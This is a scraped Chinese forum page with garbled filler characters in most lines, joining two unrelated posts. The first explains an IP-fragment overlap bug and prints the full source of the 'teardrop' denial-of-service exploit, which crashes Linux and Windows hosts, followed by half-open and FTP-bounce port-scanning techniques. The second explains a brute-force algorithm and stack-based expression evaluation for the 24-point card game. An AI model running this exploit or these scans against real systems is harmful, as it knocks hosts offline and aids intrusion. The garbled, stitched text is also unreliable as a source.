i = prev-&gt;end - offset;
+ [8 V9 Q* ]* ^" Boffset += i; /* ptr into datagram */
' x' W+ P  j7 i+ Q7 \ptr += i; /* ptr into fragment data */
: ~; o# s! ^& W0 p}</P><P>/* Fill in the structure. */6 [8 K2 X' m5 e2 l
fp-&gt;offset = offset;6 j. Z2 Z, V+ z" X+ y, x+ u
fp-&gt;end = end;
9 b( [9 w+ x* v, W  zfp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞:
) n, G3 r4 z7 l  k# K: S第一个碎片:mf=1 offset=0 payload=20
. c3 Q, k: }, V; R: J2 U1 S  K敌二个碎片:mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20 0 P7 I+ e! B! M. D, ?& g
offset=00 M: j2 r* q7 u4 ?( B
这样第二个碎片的 end=9+10=19# H8 g& A: w6 L: |! W9 t# O% }9 M  u
offset=offset+(20-offset)=20
: m: C) ]$ J  r5 f8 Jfp-〉len=19-20=-1; </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>+ f, r9 W: L1 H7 |: z! @
/*
. d- T) \4 `$ a5 _* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.97
) x, _: @# C  R*& u7 a, Y9 x( d/ E' j
* Linux/NT/95 Overlap frag bug exploit8 A+ a% R/ {7 }2 X5 D
*5 x' m; }# c. i6 Y) r6 v
* Exploits the overlapping IP fragment bug present in all Linux kernels and) y1 l5 P4 e2 X8 _! k
* NT 4.0 / Windows 95 (others?)
; D. h; y/ ^7 ]6 d2 Q*, J& S3 c% A, G
* Based off of: flip.c by klepto
1 t% }7 c$ P+ v- H  T# W. E8 x. y( |* Compiles on: Linux, *BSD*6 q' r: \& x. D- d
*
+ X& x9 I) _: ^0 E3 ^* gcc -O2 teardrop.c -o teardrop
8 i- H6 R2 s4 X4 p$ K& G* y& y* OR
1 g/ s: I2 m$ K% U* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING  x* j/ Y( G/ ]. h* z3 d
*/</P><P>#include <STDIO.H>
) L+ j0 U, A6 m5 \1 s! p#include <STDLIB.H>
- n9 F; G: j" m, q' g. W#include <UNISTD.H>
* K" o8 T1 V/ d1 S6 A0 G#include <STRING.H>. M8 L1 Z7 Z4 f) J& V
#include <NETDB.H>
  Z6 v# f* t5 a3 a) d& m4 t#include <NETINET in.h>% x/ ?" U5 F$ l# G/ _! w* b
#include <NETINET udp.h>
" l; r" M$ y( N1 ^( B#include <ARPA inet.h>
. e+ o& _) _% C- I7 s- v" @#include <SYS types.h>; B- s! F3 ]4 P' [+ x8 z# ~
#include <SYS time.h>  U: S2 V8 s5 W) @! k7 f
#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING
" E6 X8 h+ n4 x/ g, P2 K+ T2 t" G/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 */
$ l; k1 c* J0 ]- b0 W" Q#define FIX(n) (n)0 {8 \. o, w- [/ t7 p5 \2 r
#else /* OpenBSD 2.1, all Linux */
' i2 j7 W1 L: v& q" w#define FIX(n) htons(n)
0 H8 S1 C' c; Z6 a3 o% N5 Y#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */
0 P( M) M% y6 E1 x% D0 P; d# Q#define IPH 0x14 /* IP header size */
' B" G2 m. E3 [! N0 B* J#define UDPH 0x8 /* UDP header size */
- p( R! [$ P9 F* G) I; F' P#define PADDING 0x1c /* datagram frame padding for first packet */
7 T" r3 }, ^" |5 r  {# x) i) \#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */- n* A/ b6 e3 s) O+ ^6 ~$ D
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
9 _1 k, M7 i) k9 P1 k* withstand maybe 5 or 10 sometimes... Experiment.
7 |! X* d/ l6 a8 f  O% m' n*/</P><P>void usage(u_char *);8 n- h$ C+ l1 J' ?
u_long name_resolve(u_char *);/ L2 ?* v2 b# F4 ?
u_short in_cksum(u_short *, int);
, m4 ?3 P) z. R" V5 A( ivoid send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv)8 `0 E; P+ e" i* B7 J  R2 I
{
  c1 T/ L6 J; r* F4 Mint one = 1,
2 {& m, p1 W% {- l7 N2 [count = 0, , A, ?, n$ j8 ~9 Q  f7 |, o
i, 3 h; m) G) F5 T' x5 L4 B
rip_sock;* g2 o. {; k$ H
u_long src_ip = 0, dst_ip = 0;' Y& k3 n. z! `4 A; |! x7 D1 d4 M
u_short src_prt = 0, dst_prt = 0;
% \6 w5 Z# T) J; B- p* }! P/ Mstruct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW
1 j+ X' D$ h7 k. {3 Q3 G: qif((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)
9 h( y- j# \7 P* n( j  b; |- O{
" J( r: L/ ~4 p5 h$ Z4 ^7 l3 |perror("raw socket");5 C% D- A, @, Q" o+ m2 K$ ~$ ?
exit(1);  h5 T) m! E; `7 C. W: J
}6 R0 S3 j& {( Q3 q: ~1 j
//由系统处理IP校验和。& V2 ]3 d9 ~" }
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one))& `4 v4 w8 E2 f' y# U
&lt; 0)
  l' q: d  s" T{
& U  X+ K4 m9 E; S9 Q4 I5 @+ X" Mperror("IP_HDRINCL");
, X5 X: v. L" Gexit(1);' S6 E, W& g' L
}</P><P>if (argc &lt; 3) usage(argv[0]);; w3 I: ]1 J1 Y9 m* ]' n
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
8 x/ x, M8 B. w' i) g# |{6 E8 g+ h0 K3 o! M4 a
fprintf(stderr, "What the hell kind of IP address is that?\n");
9 [" U( b' m- l& r( C1 zexit(1);
: h9 ^& q% h4 W$ k1 ]1 u' N* U}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
  U2 n3 k8 u2 }{# E- Y0 p3 j# ]- ~9 p4 `
switch (i)
( J7 s4 e2 C& R{
3 a$ ^, s! }3 ^6 y2 B) B6 wcase 's': /* source port (should be emphemeral) */$ a; w* W+ x: e4 i0 |
src_prt = (u_short)atoi(optarg);
) R$ j) u7 P% R1 |" \* f: bbreak;, T9 z, l: z9 R# F: u
case 't': /* dest port (DNS, anyone?) */6 {0 N- n8 V% j3 J
dst_prt = (u_short)atoi(optarg);& j+ x  {- i1 T- E: E* w
break;
+ k8 ]/ D+ q7 t: xcase 'n': /* number to send */8 y8 M5 H1 d% L  a1 F6 O; X, G
count = atoi(optarg);) l9 B) W  t9 b6 m& Y% h
break;
  t; I* O0 b1 e5 O7 [) b/ Hdefault :
. z( Q' _8 S- s4 Fusage(argv[0]);* ~( f3 `8 L$ x& \+ y, Y
break; /* NOTREACHED */! A) F) G5 P$ j8 G. n( K
}
/ W' N3 I+ p" @  u}</P><P>srandom((unsigned)(time((time_t)0)));
  I- a( X) ~0 q- {" e' t, u- N2 P% }0 dif (!src_prt) src_prt = (random() % 0xffff);
, o3 v* E$ U, d& c+ h& ?" J! Xif (!dst_prt) dst_prt = (random() % 0xffff);5 X2 E/ k3 l8 ]
if (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");
" u% N9 i. x/ K: h' O  F# _* |addr.s_addr = src_ip;! h% ?; u9 o3 T5 L: g- V
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
7 C. I/ L7 C  J* \& Haddr.s_addr = dst_ip;! g1 Z9 X2 U' e4 Q  [
fprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);
; c4 B2 D$ M) r3 I* }fprintf(stderr, " Amt: %5d\n", count);
) N2 y8 S2 w- v' ]& o* q% Kfprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++). X/ E1 }, V) k3 B
{5 R8 Z& `' P4 n. j, D+ L& Y
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
+ S1 g, K" G2 c, W, Tfprintf(stderr, "b00m ");
" o# u. ?8 j# o; ^7 Iusleep(500);
0 q6 W6 k; {" V! M}
0 m- s# ^' `2 K0 i7 g( ^fprintf(stderr, "]\n");; k7 z) t; c& S1 N8 Z. b, c
return (0);- j. p. W, V/ P/ ]9 c# A
}</P><P>/*3 J; L: ?9 P' g( q  ^# g. e& f9 p
* Send two IP fragments with pathological offsets. We use an implementation. Y& @; L: z5 ?, _. U' K- Y9 h" A
* independent way of assembling network packets that does not rely on any of, V! r2 Y2 V5 l8 y( L7 m
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).' M1 k3 C  |6 I  S0 J
*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,/ `- i7 w9 z2 j7 p" t  c
u_short dst_prt)
. M* q) B3 J* Z; [: @. i2 K( Q{
2 e8 Y" L/ |7 b5 b/ h7 O" D9 W2 }u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
6 z: \$ ?5 f3 uu_char byte; /* a byte */+ L! s! P5 a2 {
struct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;
: U2 b2 u; k2 O3 ]$ w+ F9 E7 Lsin.sin_port = src_prt;% I6 M+ |  w0 h# Y
sin.sin_addr.s_addr = dst_ip;</P><P>/*# O5 x' P. [: a. I+ g0 j% m/ f
* Grab some memory for our packet, align p_ptr to point at the beginning8 w/ V( I' T+ I+ S: Y; F5 e
* of our packet, and then fill it with zeros.0 n$ ~+ P6 c# ^- O3 a5 f
*/+ _: i# @( O' L: `0 ~
packet = (u_char *)malloc(IPH + UDPH + PADDING);0 f) ]4 r3 D" A7 J$ i
p_ptr = packet;5 t* l8 u- C1 F$ g2 z; O! ^
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */
& ]' ]3 f3 y1 A: p) rmemcpy(p_ptr, &amp;byte, sizeof(u_char));
9 d) h7 e1 Q; C% T$ l- Up_ptr += 2; /* IP TOS (skipped) */
+ P: W7 r+ P7 {/ J*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */) Z' w7 Q9 e4 d- }, U% O1 o
p_ptr += 2;
* Y  B6 k" ?: t: }9 g*((u_short *)p_ptr) = htons(242); /* IP id */
+ D, h; z9 B' ?) y( S) ^p_ptr += 2;3 r) q- L. R3 a9 b1 j% V9 P
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
! |5 X3 Q7 j1 G' h7 W2 D) sp_ptr += 2;: U" v, s$ I; g' U6 g
*((u_short *)p_ptr) = 0x40; /* IP TTL */* Z) H6 V# t0 j% N8 ~
byte = IPPROTO_UDP;) S' a6 T( a: I( f' G2 L
memcpy(p_ptr + 1, &amp;byte, sizeof(u_char));
; R! W: {' f+ x1 h0 ^" q5 N) kp_ptr += 4; /* IP checksum filled in by kernel */% b  m+ s0 R7 v6 N
*((u_long *)p_ptr) = src_ip; /* IP source address */
8 R5 s% X. i" x5 f8 \# w) B" Dp_ptr += 4;- F, v* a$ V# k! r
*((u_long *)p_ptr) = dst_ip; /* IP destination address *// w: K8 y) ^; Y) @, C, C
p_ptr += 4;
6 E& [/ j! D) E5 _9 ~*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
1 k3 F$ x# u! `* cp_ptr += 2;
" [) S: I% D& ~% c. G" M*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port *// J- i) O5 H+ Z: Y. V. }4 U- h! T
p_ptr += 2;
) @" S, Q9 Q, H1 t3 S, H4 m' s/ ~, d7 v*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin,  ~( V. ^# ^. F1 y
sizeof(struct sockaddr)) == -1)
, R+ e, N1 ^+ Q; j1 e+ d+ @8 @& j{! {( \# A# Y3 X6 R7 T3 ~, y
perror("\nsendto");5 c1 h3 ]  v- q7 r$ W# b
free(packet);$ m( I& N) \  M" o" r  E2 M! ]
exit(1);7 j2 T1 c& D7 G
}</P><P>/* We set the fragment offset to be inside of the previous packet's
) q5 K4 m$ k5 g7 a9 m5 U8 {* payload (it overlaps inside the previous packet) but do not include. {% N: V" J7 s
* enough payload to cover complete the datagram. Just the header will; B* }0 ~3 y. F% S, I: j
* do, but to crash NT/95 machines, a bit larger of packet seems to work0 I8 e, W7 m5 V% z
* better.& H9 C. o% ^; M4 G) h" h. ]
*/
5 a/ B' J& Q7 S$ [, n  qp_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header */, g- o& D. N0 I0 k
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);! A. a* f/ O. V5 z$ ]# O
p_ptr += 4; /* IP offset is 6 bytes into the header */0 v1 u& U# M% R% t9 X
*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,
. Z. `0 x  B/ ]: k: s. |) v: qsizeof(struct sockaddr)) == -1)7 _- ]. z5 m+ M/ |" g
{
: c( B  ^" Y2 T* P" @# ~perror("\nsendto");
( |7 f1 F2 i! k9 M% sfree(packet);) S. L/ m4 \) B3 U
exit(1);; M8 m$ M5 Z) `* ^
}) E% z3 A) r. H* {
free(packet);
7 O+ Y- E  }9 E/ D& o}</P><P>u_long name_resolve(u_char *host_name)( K$ a% w& E8 W9 U: F& x
{2 c+ n# k) g0 f% f- r8 y5 g
struct in_addr addr;
  }  C5 q* j" q4 e) \struct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1)
5 V$ q4 z; X5 i$ c# r3 R4 W' \7 U{
$ |, a* J0 Z, T" Dif (!(host_ent = gethostbyname(host_name))) return (0);
; u( P  d& S: {$ H* Lbcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);- `% e5 _  [# e8 C) u
}: }$ B8 C( \; |6 L
return (addr.s_addr);
/ U( `; Q# \2 ^}</P><P>void usage(u_char *name)
2 E5 Q& S# m5 y6 i! O{
5 m$ i! a" p) K7 }0 t- ?fprintf(stderr,; v, Z1 x! t$ @9 a+ W( G
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
4 k# C' @% z4 q3 Gname);% T) e; s* N4 M; h- h
exit(0);
3 b$ \, i( z4 K, t9 S: C+ \}</P><P>  m( j: v0 t$ z$ X/ j5 G
4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法: 6 A8 l. |5 K8 i% |/ @2 `
(1) Half-open(半打开)( G4 |7 d: n& {( [$ h' \
利用下面特性:但一个主机收到向某个端口(TCP)发出的(SYN),
1 Z$ Q+ J8 d! s3 {如果在这个端口有服务,那么返回(SYN+ASK),不然返回(RST)。</P><P>(2) FTP scanner* C, q5 `- k# z3 u
利用了FTP的port命令,例如可以这样作:7 b$ z. P7 s4 e3 b0 S
选择一个FTP服务器,连上后令port命令指向目标机,如果返回
4 o  K( m, H* i1 O: f! h值是正确的,那么目标机的该端口是有服务的,如返回打开端口错误则& t' H3 C( U% s
该端口无服务。
+ x; \% j! Z9 \" A* [telnet 192.168.1.13 21$ g/ H+ R: Y, i  w  t& t
Trying 192.168.1.13...
7 p* @. H5 t; S4 aConnected to pp.bricks.org.  t, @0 r, T7 ]) ?; R
Escape character is '^]'.+ P' p0 K7 T+ c- x, x8 F! o& f% z  }
220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1)
( j# ?! D0 D+ z! E  {Thu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous. O* S6 |- Q' |* @' t
331 Guest login ok, send your complete e-mail address as password.9 h% l. ]' R9 t# c
pass aa@aa.aa; i3 [" l( R" S; l9 p! ~9 J9 `: s
230 Guest login ok, access restrictions apply.  f- j$ F) \6 s+ `1 t
port a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list., t! w2 p8 _5 d( R0 A
425 Can't build data connection: Connection refused.7 `4 j& Z0 e5 [% _  O4 R
//该端口未活动 & t; w* \- W" ]- F
150 Opening ASCII mode data connection for file list.
& s, L/ R; d, _+ v226 Transfer complete.9 ?5 F% z9 F  p" f
//该端口活动中
! A9 x  A; Y, o  Z但有些FTP服务器禁止你将数据连接影响其他地址,那就没办法了。</P><P>上述两种方法是通用的,而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理:</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing, m4 V2 T8 g4 N9 Y
SYN|FIN ACK or SYN|ACK* RST; A: i. ?  v& p" l7 X$ j- ]9 q
ACK Nothing RST
0 U" E& D0 V$ q0 {$ S$ o5 c0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport$ w, `5 U3 l( R- {& {4 R
一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读,
$ g; r4 w- e7 O9 |! x若发现一个主机不停的象你发送(SYN)包,却没有完成连结,可以认
+ p- N* t( \+ y定它在向你做portscan。</P><P>notes:  S$ n) \- o+ p# J' p
早期的portscan程序是老老实实的向你一个一个端口连(完成三次握手)," U. H; S9 V# f; L
而一些antiscan是在一个平时不用的端口上起一个服务器,并认为连上来的4 K* n2 e1 e; M! x; G
都是向它scan。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left>
1 @2 F( A3 `0 w, l! k  漫长的假期对于我来说总是枯燥无味的,闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单,就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目,这不,我们刚玩了一会儿,便遇到了一个难题——3、6、6、10(其实后来想想,这也不算是个太难的题,只是当时我们的脑筋都没有转弯而已,呵呵)。' W2 |& S3 R" F( N3 m6 A6 q

" H6 _" S% U& ~! n+ @  问题既然出现了,我们当然要解决。冥思苦想之际,我的脑中掠过一丝念头——何不编个程序来解决这个问题呢?文曲星中不就有这样的程序吗?所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法,最先想到的自然是穷举法(后来发现我再也想不到更好的方法了,悲哀呀,呵呵),因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举,不就可以利用这个计算程序来完成这个计算二十四点的程序吗?确定了这个思路之后,我开始想这个问题的细节。 ( C( ~' a5 E; }
首先穷举的可行性问题。我把表达式如下分成三类——
# u3 a% ?- a# a2 k+ V- X<FONT color=#ff0000>1、 无括号的简单表达式。
. @5 s" v& @6 l/ v' n2、 有一个括号的简单表达式。1 R' U6 z/ f: y" i0 H4 W( ~; W: u+ Z
3、 有两个括号的较复4、 杂表达式。
# i4 ?) k" V( ?9 A- S* u& }+ e</FONT>穷举的开始我对给出的四个数进行排列,其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列,算法如下:
1 L' R5 q1 I% e# T1 O- P0 z; s<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */: ^- }- \% k& a/ B, J; _1 g
/* c[] 存放四张牌的数组 */
; @2 M( ]8 y9 A3 A' W. ?" a/* k[] c[]种四张牌的代号,其中k[I]=I+1。' v; _$ Q) ?* ], h
用它来代替c[]做处理,考虑到c[]中有可能出现相同数的情况 */
% c8 h! Y0 f* A/* kans[] 暂存生成的排列组合 */
+ b; p" f: L& P/ f/* j 嵌套循环的次数 */+ ^( _2 I4 j* a, E. \9 @2 x
int fans(c,k,ans,kans,j)7 f# S1 S; U% e, x
int j,k[],c[];char ans[],kans[];
. k* ~) X: g, D; d4 R& w% f{ int i,p,q,r,h,flag,s[4],t[4][4];
/ Q$ J% G/ M# v! ^/ `9 _for(p=0,q=0;p&lt;4;p++)3 q: A; R! W9 }# q& W2 [
{ for(r=0,flag=0;r<J;R++)
; `4 ?. H. `( g( J5 {  Q" l. j if(k[p]!=kans[r]) flag++;
- e  l! @3 O4 {$ C: C3 ?! u* }if(flag==j) t[j][q++]=k[p];
* t8 L" {- }5 Y2 v7 `% d( n}' G3 u4 [( }9 D# h4 X
for(s[j]=0;s[j]&lt;4-j;s[j]++)
# f* B( T* m& J: _' W{ kans[j]=t[j][s[j]];, Z+ C% W9 g& `# F7 j4 ^5 g1 L
if(j==3) { for(h=0;h&lt;4;h++)& z' c3 A/ s- p( t, N$ F
ans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表
- B! n- L+ P- X$ `达式中的位置 */
5 S) @1 x  Y2 n; t! Efor(h=0;h&lt;3;h++)
& ~! `) Z0 ]3 @; Xsymbol(ans,h); /* 在表达式中添加运算符号 */
! D$ m  }' p; T: ~' w* K8 A1 r3 Y}2 m5 f! q' J/ Q7 G& q; i/ y' I$ _
else { j++;
/ [; N0 E9 T. |9 y9 y! X  ~6 F0 vfans(c,k,ans,kans,j);
/ h, Z) ^$ W) z$ {j--;- `: O9 Y+ Z2 ?" @$ R# V+ A/ O. P
}
) O0 G+ l+ G  R" O/ Q. M# P0 G2 U}
$ ?1 M9 _' O6 [}</FONT>
: D+ [( C6 e0 c
9 Q3 ^$ U. q* O- U! R9 L4 M) n9 @  正如上面函数中提到的,在完成四张牌的排列之后,在表达式中添加运算符号。由于只有四张牌,所以只要添加三个运算符号就可以了。由于每一个运算符号可重复,所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举,算法如下:9 X" M* Y8 N$ L
( |+ A5 d1 q6 D
<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/7 s% t( j9 w* v  O+ j- f' N
int sans(ans,sy,j,h)
# F  |9 ^: g1 {7 x. Xchar ans[],sy[];int j,h;& w  s5 F6 p- J8 k4 h8 w
{ int i,p,k[3],m,n; char ktans[20];& y; P5 F0 K$ [
for(k[j]=0;k[j]&lt;4;k[j]++)( Q2 i- r4 l4 ^' Y
{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位
, Q/ |$ O# T' j这里的三个运算符号分别存放在1、3、5位*/
* ?$ _% H/ o0 v+ iif(j==2)
' K& }; _9 V" a+ X7 G{ ans[5]=sy[k[j]];' l& ?- ?% z, h8 D% x
/* 此处根据不同的表达式形式再进行相应的处理 */# |2 r0 K9 V6 X) V6 G
}
. [& E- W& l2 Z$ l! [+ W8 aelse { j++; sans(ans,sy,j--,h); }6 _, M5 e8 R) W
}
" o/ E# t1 v: g) U5 w+ `; A}8 z8 l  e7 B, n0 o/ }

+ n" v/ M/ x) `( T</FONT>  好了,接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类,是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种,无括号自然不用另行处理;而第二种情况由以下代码可以得出其可能性有六种,其中还有一种是多余的。
! r) V& c( `  }9 u7 X! ?for(m=0;m&lt;=4;m+=2)
! `0 e3 |; k0 U( Y3 {- W* Pfor(n=m+4;n&lt;=8;n+=2)
1 v0 Q  e- \  V  w1 L  这个for循环给出了添加一个括号的可能性的种数,其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0,n=8,也就是放在表达式的两端。这真是多此一举,呵呵!最后一种情况是添加两个括号,我分析了一下,发现只可能是这种形式才不会是重复的——(a b)(c d)。为什么不会出现嵌套括号的情况呢?因为如果是嵌套括号,那么外面的括号肯定是包含三个数字的(四个没有必要),也就是说这个括号里面包含了两个运算符号,而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的,则肯定可以通过一些转换去掉括号(你不妨举一些例子来试试),也就是说这一个括号没有必要;如果这两个运算符号不是同一优先级,也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高,自然就没有必要在它的外面添加括号了。
6 ?: T- Q% \  W$ x3 g1 R7 K
/ L$ |$ M, n3 R# h2 _/ q% Q  综上所述,所有可能的表达式的种数为24*64*(1+6+1)=12288种。哈哈,只有一万多种可能性(这其中还有重复),这对于电脑来说可是小case哟!所以,对于穷举的可行性分析和实现也就完成了。
5 q) }6 g* I! E% _</P>< align=left>  接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用,那么什么是栈呢?栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的,即最后存放入栈的货物(堆在靠出口处)先被提取出去,符合“先进后出,后进先出”的原则。这种结构犹如子弹夹。7 n& A9 ?7 q) h1 p4 ]
在栈中,元素的插入称为压入(push)或入栈,元素的删除称为弹出(pop)或退栈。6 S1 r) ^5 H# X0 e) O% h5 M
7 {& X! j2 ]8 {* c" q, [0 |8 S
  栈的基本运算有三种,其中包括入栈运算、退栈运算以及读栈顶元素,这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。1 M* c3 ~: }" |' X
! Q: ?6 S$ s* E7 i) x
  那么作为栈的著名应用,表达式的计算可以有两种方法。
- p* K: g) W/ U& b+ Q4 ^3 m
9 f+ r6 t3 T5 I5 i  <FONT color=#ff0000>第一种方法——</FONT>5 E. F. w! E% i
  首先建立两个栈,操作数栈OVS和运算符栈OPS。其中,操作数栈用来记忆表达式中的操作数,其栈顶指针为topv,初始时为空,即topv=0;运算符栈用来记忆表达式中的运算符,其栈顶指针为topp,初始时,栈中只有一个表达式结束符,即topp=1,且OPS(1)=‘;’。此处的‘;’即表达式结束符。
' o4 k* t' o9 e3 U) b: o: R/ A  然后自左至右的扫描待处理的表达式,并假设当前扫描到的符号为W,根据不同的符号W做如下不同的处理:5 C0 ]2 @' U$ y7 S6 a
1、 若W为操作数
2 J$ d+ R9 v7 E8 g& L; x2、 则将W压入操作数栈OVS7 a( B  \3 F! J4 R
3、 且继续扫描下一个字符
& N2 v, I% l! `: k5 t4、 若W为运算符
$ q6 k& d  u$ z' M- S5、 则根据运算符的性质做相应的处理:  B2 ?4 C8 U1 H
(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS,并继续扫描下一个字符。: Q2 W2 E! s2 s& G& w0 T) S
(2)、若运算符W为表达式结束符‘;’且运算符栈栈顶的运算符也为表达式结束符(即OPS(topp)=’;’),则处理过程结束,此时,操作数栈栈顶元素(即OVS(topv))即为表达式的值。
. L; R- Y9 K3 }' V( D(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号(即OPS(topp)=’(‘),则将左括号从运算符栈谈出,且继续扫描下一个符号。' [: O5 Y) r, K; l0 r
(4)、若运算符的右不大于运算符栈栈顶的运算符(即OPS(topp)),则从操作数栈OVS中弹出两个操作数,设先后弹出的操作数为a、b,再从运算符栈OPS中弹出一个运算符,设为+,然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。
  H+ v1 J) D) n. C+ y  E9 r. J
<FONT color=#ff0000>  第二种方法——</FONT>
/ f2 L) k% S" x  l% B  首先对表达式进行线性化,然后将线性表达式转换成机器指令序列以便进行求值。
3 S8 r5 t* Z5 U) K6 J0 D* g4 Q
0 I+ r# u+ B3 y7 L$ A, {$ g  那么什么是表达式的线性化呢?人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式,有时必须借助括号才能将运算顺序表达清楚,而且处理也比较复杂。* }2 N$ A# ]% B; w6 v# V/ v! x
$ q/ v' y% C" [. D; y
   1929年,波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系,后来人们称之为波兰表示法(Polish notation)。波兰表达式的特点是运算符位于运算对象的后面,因此称为后缀表示。在对波兰表达式进行运算,严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。6 ?/ v8 \; ~8 N' L  s/ h
表达式 波兰表达式
: M" \' L: k- E& N! d0 {A-B AB-' C4 g9 R: `) N
(A-B)*C+D AB-C*D+
; r: Q6 b& Q% v4 s: `+ k3 zA*(B+C/D)-E*F ABCD/+*EF*-, l' c( Q; u+ X! l8 P
(B+C)/(A-D) BC+AD-/
7 H: e$ `2 {+ f  l( n6 E- T# x4 m- C3 {0 f& G
  OK,所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式,利用栈可以把表达式变换成波兰表达式,也可以利用栈来计算波兰表达式的值。
/ j* S% S$ d8 ]
/ @, [7 i5 H. _( Y  至于转换和计算的过程和第一种方法大同小异,这里就不再赘述了。
5 W5 H6 k8 N/ z, X2 G* J+ ?
6 j( J9 U1 f: y$ J1 X9 s. L  下面给出转换和计算的具体实现程序——
( U+ p" {# `) O8 G# E; I5 n7 X
; x  r! l; F7 j$ U  u% f<FONT color=#009900>/* first函数给出各个运算符的优先级,其中=为表达式结束符 */0 z2 u! s" z) D( P# X; I
int first(char c)  J% O7 ^& E  T; b4 I7 a* D
{ int p;
6 F8 x) T( v0 ]! l2 gswitch(c)3 y) c7 v& [. M/ p8 x
{ case '*': p=2; break;, a) B/ X4 R; _- {% I* u* M  {
case '/': p=2; break;  U+ Q6 k+ H$ C% B6 t. w
case '+': p=1; break;
3 L# K+ B$ K: u4 C) `4 bcase '-': p=1; break;0 ^# y5 Y" z* H+ c. y5 I9 {1 {* t8 f8 G
case '(': p=0; break;& L% D& ~; g7 Z3 p! |7 {2 e8 u/ I
case '=': p=-1; break;
( ~9 v$ v0 a; g}  E% l! {9 |% L. t& V
return(p);! J6 c3 N" _- \' j
}
